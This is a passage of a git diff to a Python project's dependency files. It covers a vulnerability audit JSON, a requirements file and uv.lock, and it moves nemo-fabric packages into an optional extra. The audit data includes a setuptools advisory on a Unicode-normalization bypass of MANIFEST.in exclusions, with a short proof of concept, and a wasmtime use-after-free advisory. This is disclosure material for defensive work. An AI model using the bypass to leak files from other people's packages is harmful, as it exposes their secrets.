"type": "ECOSYSTEM" + ] } ], "versions": [ @@ -6478,28 +6407,12 @@ "9.0", "9.0.1", "9.1" - ] + ], + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-h35f-9h28-mq5c/GHSA-h35f-9h28-mq5c.json" + } } ], - "aliases": [ - "BIT-setuptools-2026-59890", - "CVE-2026-59890", - "PYSEC-2026-3447" - ], - "database_specific": { - "cwe_ids": [ - "CWE-176", - "CWE-697" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T19:09:21Z", - "nvd_published_at": "2026-07-08T17:17:27Z", - "severity": "MODERATE" - }, - "details": "## Summary\n\nWhen building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index.\n\n## Details\n\nFile names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:\n\n```python\n# setuptools/command/egg_info.py (FileList.global_exclude)\ndef global_exclude(self, pattern):\n match = translate_pattern(os.path.join('**', pattern)) # fnmatch.translate -> regex, no NFC/NFD\n return self._remove_files(match.match) # byte-level regex over raw os.walk names\n```\n\nA rule written NFC (`caf\u00e9` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`caf\u00e9` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file.\n\nA `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes\u2192str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred.\n\n## Impact\n\n`MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule \u2014 an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.\n\n## Proof of concept\n\nWith a project containing `MANIFEST.in`:\n\n```\nglobal-include *.txt *.json\nglobal-exclude secret_caf\u00e9.txt # rule saved NFC\n```\n\nand an on-disk file `secret_caf\u00e9.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped \u2014 isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.\n\n## Remediation\n\nNormalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS.\n\n## Credit\n\nReported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.", - "id": "GHSA-h35f-9h28-mq5c", - "modified": "2026-07-21T19:15:32.059653102Z", - "published": "2026-07-21T19:09:21Z", "references": [ { "type": "WEB", @@ -6526,15 +6439,35 @@ "url": "https://github.com/pypa/setuptools/releases/tag/v83.0.0" } ], - "schema_version": "1.7.5", - "severity": [ - { - "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N", - "type": "CVSS_V3" - } + "database_specific": { + "cwe_ids": [ + "CWE-176", + "CWE-697" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T19:09:21Z", + "nvd_published_at": "2026-07-08T17:17:27Z", + "severity": "MODERATE" + } + } + ], + "groups": [ + { + "ids": [ + "PYSEC-2026-3447", + "GHSA-h35f-9h28-mq5c" + ], + "aliases": [ + "BIT-setuptools-2026-59890", + "CVE-2026-59890", + "GHSA-h35f-9h28-mq5c", + "PYSEC-2026-3447" ], - "summary": "setuptools: MANIFEST.in exclusion bypass in sdist via Unicode normalization collision (NFC/NFD) on macOS APFS/HFS+" + "max_severity": "6.1" } + ], + "licenses": [ + "MIT" ] }, { @@ -6757,16 +6690,6 @@ "non-standard" ] }, - { - "package": { - "name": "tomli-w", - "version": "1.2.0", - "ecosystem": "PyPI" - }, - "licenses": [ - "MIT" - ] - }, { "package": { "name": "tomlkit", @@ -6993,31 +6916,26 @@ "version": "43.0.0", "ecosystem": "PyPI" }, - "groups": [ + "vulnerabilities": [ { - "ids": [ - "PYSEC-2026-151" - ], + "modified": "2026-05-21T15:00:24Z", + "published": "2026-04-09T19:16:24Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-151", "aliases": [ "CVE-2026-34983", "GHSA-hfr4-7c6c-48w2", - "PYSEC-2026-151", "RUSTSEC-2026-0090" ], - "max_severity": "5.0" - } - ], - "licenses": [ - "Apache-2.0 WITH LLVM-exception" - ], - "vulnerabilities": [ - { + "details": "Wasmtime is a runtime for WebAssembly. In 43.0.0, cloning a wasmtime::Linker is unsound and can result in use-after-free bugs. This bug is not controllable by guest Wasm programs. It can only be triggered by a specific sequence of embedder API calls made by the host. Specifically, the following steps must occur to trigger the bug clone a wasmtime::Linker, drop the original linker instance, use the new, cloned linker instance, resulting in a use-after-free. This vulnerability is fixed in 43.0.1.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H" + } + ], "affected": [ { - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/wasmtime/PYSEC-2026-151.yaml" - }, - "ecosystem_specific": {}, "package": { "ecosystem": "PyPI", "name": "wasmtime", @@ -7025,6 +6943,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -7032,8 +6951,7 @@ { "last_affected": "43.0.0" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -7124,32 +7042,36 @@ "8.0.0", "8.0.1", "9.0.0" - ] + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/wasmtime/PYSEC-2026-151.yaml" + } } ], - "aliases": [ - "CVE-2026-34983", - "GHSA-hfr4-7c6c-48w2", - "RUSTSEC-2026-0090" - ], - "details": "Wasmtime is a runtime for WebAssembly. In 43.0.0, cloning a wasmtime::Linker is unsound and can result in use-after-free bugs. This bug is not controllable by guest Wasm programs. It can only be triggered by a specific sequence of embedder API calls made by the host. Specifically, the following steps must occur to trigger the bug clone a wasmtime::Linker, drop the original linker instance, use the new, cloned linker instance, resulting in a use-after-free. This vulnerability is fixed in 43.0.1.", - "id": "PYSEC-2026-151", - "modified": "2026-05-21T15:00:24.330171463Z", - "published": "2026-04-09T19:16:24.850Z", "references": [ { "type": "ADVISORY", "url": "https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-hfr4-7c6c-48w2" } - ], - "schema_version": "1.7.5", - "severity": [ - { - "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H", - "type": "CVSS_V3" - } ] } + ], + "groups": [ + { + "ids": [ + "PYSEC-2026-151" + ], + "aliases": [ + "CVE-2026-34983", + "GHSA-hfr4-7c6c-48w2", + "PYSEC-2026-151", + "RUSTSEC-2026-0090" + ], + "max_severity": "5.0" + } + ], + "licenses": [ + "Apache-2.0 WITH LLVM-exception" ] }, { @@ -7284,11 +7206,11 @@ "license_summary": [ { "name": "MIT", - "count": 128 + "count": 127 }, { "name": "Apache-2.0", - "count": 87 + "count": 80 }, { "name": "non-standard", diff --git a/third_party/requirements-main.txt b/third_party/requirements-main.txt index c4940121d9..57af1e90c5 100644 --- a/third_party/requirements-main.txt +++ b/third_party/requirements-main.txt @@ -701,7 +701,6 @@ docker==7.1.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p # nemo-platform-sdk # ngcsdk # nmp-jobs - # nmp-models docstring-parser==0.17.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:583de4a309722b3315439bb31d64ba3eebada841f2e2cee23b99df001434c912 \ --hash=sha256:cf2569abd23dce8099b300f9b4fa8191e9582dda731fd533daf54c4551658708 @@ -1329,7 +1328,6 @@ kubernetes==35.0.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') # nemo-deployments-plugin # nmp-common # nmp-jobs - # nmp-models langchain==1.3.14 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:1b6696c72ba3bbbce54d745e0180742c9f6ece8bbc59ed5a46c3e20b9a435929 \ --hash=sha256:4d10dbe91005952cddd56d0dc77aa108964da6bae90ab20063653957e901f782 @@ -1716,23 +1714,6 @@ mypy-extensions==1.0.0 ; (platform_machine == 'arm64' and sys_platform == 'darwi nemo-anonymizer==0.3.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:a51f92f58fb86ffe09c9159768b309dd9138170022c1bae8565b8dc72effea7f # via nemo-anonymizer-plugin -nemo-fabric==0.1.0a20260722 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:1fca6642d497544b9c3739a729e8e29308a8b76ed16eed3d27df511d8572d5ad - # via nemo-agents-plugin -nemo-fabric-adapters-codex==0.1.0a20260722 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:9f840489c20292338c80a22d24a955880cb6aa3060fa622f8730bbb5e0f51fb7 - # via nemo-agents-plugin -nemo-fabric-adapters-common==0.1.0a20260722 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:23ff20e39cddcfa2eed987b1ec2f5e54c597c008a8e1cea41dc33cbb0c13f446 - # via - # nemo-fabric-adapters-codex - # nemo-fabric-adapters-hermes -nemo-fabric-adapters-hermes==0.1.0a20260722 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:ca38c94161d09f4cc3e8022eedb73570b17d817a33cbbbff8aea0d1c4ff246e7 - # via nemo-agents-plugin -nemo-fabric-runtime==0.1.0a20260722 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:5b6110d3fe375a3dd55e705a827b5b189642b09340db58bbe72b333e84cfe47b - # via nemo-fabric nemo-relay==0.4.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:0f92883b81540076e4b6c5e754eb7726225336634204ebd22ff730ccbcfb2723 \ --hash=sha256:6a5a5f5dec1428085f6c41c3645f1773f9cfb154cfa47306c93d6514091a8006 \ @@ -1905,17 +1886,6 @@ openai==2.35.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or ( # oci-openai # ragas # switchyard-vendored -openai-codex==0.144.4 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:91c63a7cb213441569f130e593386b34657ab9e726ae88af255f0ecb8de08ea5 \ - --hash=sha256:de1513a6e94b9a8d7728a3b74298bc1469428ade10ba0ef2d5db47dd1cb606f5 - # via nemo-fabric-adapters-codex -openai-codex-cli-bin==0.144.4 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:05db505a9c7f020f58b70837a94e00d32a50086986c267bcc44ea97b573d4a05 \ - --hash=sha256:4106229c38f37245c3eea8d904426afd45b8bf19831765715647f5402f757c06 \ - --hash=sha256:70fb62ed7755e332dd8b00ed48e22ee16df10f4a977335039e237cd330490df3 \ - --hash=sha256:cd4bb31b8a477a3adba22139c8c493693fa5292ba21e86eef08ace3e96c41294 \ - --hash=sha256:d2d3fada11731938e3d3e3660819d5324b7f92e825a0ed5aede63100b36ffc9a - # via openai-codex openapi-pydantic==0.5.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:a3a09ef4586f5bd760a8df7f43028b60cafb6d9f61de2acba9574766255ab146 \ --hash=sha256:ff6835af6bde7a459fb93eb93bb92b8749b754fc6e51b2f1590a19dc3005ee0d @@ -2488,7 +2458,6 @@ pydantic==2.12.5 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or # nemo-deployments-plugin # nemo-evaluator-plugin # nemo-evaluator-sdk - # nemo-fabric-runtime # nemo-platform-ext # nemo-platform-plugin # nemo-platform-sdk @@ -2514,7 +2483,6 @@ pydantic==2.12.5 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or # nvidia-nat-config-optimizer # nvidia-nat-core # openai - # openai-codex # openapi-pydantic # pydantic-extra-types # pydantic-settings @@ -2713,7 +2681,6 @@ pyyaml==6.0.3 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p # nemo-agents-plugin # nemo-anonymizer-plugin # nemo-auditor-plugin - # nemo-fabric-adapters-hermes # nemo-platform-ext # nemo-platform-plugin # nemo-platform-sdk @@ -3252,10 +3219,6 @@ tokenizers==0.22.2 ; (platform_machine == 'arm64' and sys_platform == 'darwin') # langchain-huggingface # litellm # transformers -tomli-w==1.2.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:188306098d013b691fcadc011abd66727d3c414c571bb01b1a174ba8c983cf90 \ - --hash=sha256:2dd14fac5a47c27be9cd4c976af5a12d87fb1f0b4512f81d69cce3b35ae25021 - # via nemo-fabric-adapters-codex tomlkit==0.14.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:592064ed85b40fa213469f81ac584f67a4f2992509a7c3ea2d632208623a3680 \ --hash=sha256:cf00efca415dbd57575befb1f6634c4f42d2d87dbba376128adb42c121b87064 @@ -3348,7 +3311,6 @@ typing-extensions==4.15.0 ; (platform_machine == 'arm64' and sys_platform == 'da # langsmith # mcp # mlflow-skinny - # nemo-fabric-runtime # nemo-platform-sdk # nemo-safe-synthesizer # openai diff --git a/uv.lock b/uv.lock index ce2d44f718..c9780f458a 100644 --- a/uv.lock +++ b/uv.lock @@ -3919,9 +3919,6 @@ dependencies = [ { name = "nemo-agents-example-calculator", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-agents-example-email-phishing", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-deployments-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", extra = ["runtime"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nvidia-nat-config-optimizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -3936,6 +3933,11 @@ container = [ { name = "jinja2", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "python-on-whales", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] +fabric = [ + { name = "nemo-fabric", extra = ["runtime"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] test = [ { name = "fastapi", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "httpx", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -3958,9 +3960,9 @@ requires-dist = [ { name = "nemo-agents-example-calculator", editable = "plugins/nemo-agents/examples/calculator-agent" }, { name = "nemo-agents-example-email-phishing", editable = "plugins/nemo-agents/examples/email-phishing-analyzer" }, { name = "nemo-deployments-plugin", editable = "plugins/nemo-deployments" }, - { name = "nemo-fabric", extras = ["runtime"], specifier = "==0.1.0a1" }, - { name = "nemo-fabric-adapters-codex", specifier = "==0.1.0a1" }, - { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric", extras = ["runtime"], marker = "extra == 'fabric'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric-adapters-codex", marker = "extra == 'fabric'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'fabric'", specifier = "==0.1.0a1" }, { name = "nemo-platform", editable = "packages/nemo_platform" }, { name = "nemo-platform-plugin", editable = "packages/nemo_platform_plugin" }, { name = "nvidia-nat-config-optimizer", specifier = ">=1.8.0,<1.9" }, @@ -3972,7 +3974,7 @@ requires-dist = [ { name = "pyyaml", specifier = ">=6.0" }, { name = "rich", specifier = ">=13.7.1" }, ] -provides-extras = ["container", "test"] +provides-extras = ["fabric", "container", "test"] [[package]] name = "nemo-anonymizer" @@ -4589,9 +4591,6 @@ all = [ { name = "nemo-anonymizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-auditor-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-evaluator-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", extra = ["runtime"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-safe-synthesizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -4810,9 +4809,6 @@ nemo-agents-plugin = [ { name = "httpx", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "langchain-aws", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-agents-example-calculator", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", extra = ["runtime"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nvidia-nat-config-optimizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nvidia-nat-core", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -4984,9 +4980,6 @@ plugins = [ { name = "nemo-agents-example-calculator", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-anonymizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-evaluator-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", extra = ["runtime"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-safe-synthesizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -5048,9 +5041,6 @@ services = [ { name = "nemo-anonymizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-auditor-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-evaluator-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", extra = ["runtime"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-safe-synthesizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -5339,18 +5329,6 @@ requires-dist = [ { name = "nemo-evaluator-sdk", marker = "extra == 'nemo-evaluator-plugin'", editable = "packages/nemo_evaluator_sdk" }, { name = "nemo-evaluator-sdk", marker = "extra == 'plugins'", editable = "packages/nemo_evaluator_sdk" }, { name = "nemo-evaluator-sdk", marker = "extra == 'services'", editable = "packages/nemo_evaluator_sdk" }, - { name = "nemo-fabric", extras = ["runtime"], marker = "extra == 'all'", specifier = "==0.1.0a1" }, - { name = "nemo-fabric", extras = ["runtime"], marker = "extra == 'nemo-agents-plugin'", specifier = "==0.1.0a1" }, - { name = "nemo-fabric", extras = ["runtime"], marker = "extra == 'plugins'", specifier = "==0.1.0a1" }, - { name = "nemo-fabric", extras = ["runtime"], marker = "extra == 'services'", specifier = "==0.1.0a1" }, - { name = "nemo-fabric-adapters-codex", marker = "extra == 'all'", specifier = "==0.1.0a1" }, - { name = "nemo-fabric-adapters-codex", marker = "extra == 'nemo-agents-plugin'", specifier = "==0.1.0a1" }, - { name = "nemo-fabric-adapters-codex", marker = "extra == 'plugins'", specifier = "==0.1.0a1" }, - { name = "nemo-fabric-adapters-codex", marker = "extra == 'services'", specifier = "==0.1.0a1" }, - { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'all'", specifier = "==0.1.0a1" }, - { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'nemo-agents-plugin'", specifier = "==0.1.0a1" }, - { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'plugins'", specifier = "==0.1.0a1" }, - { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'services'", specifier = 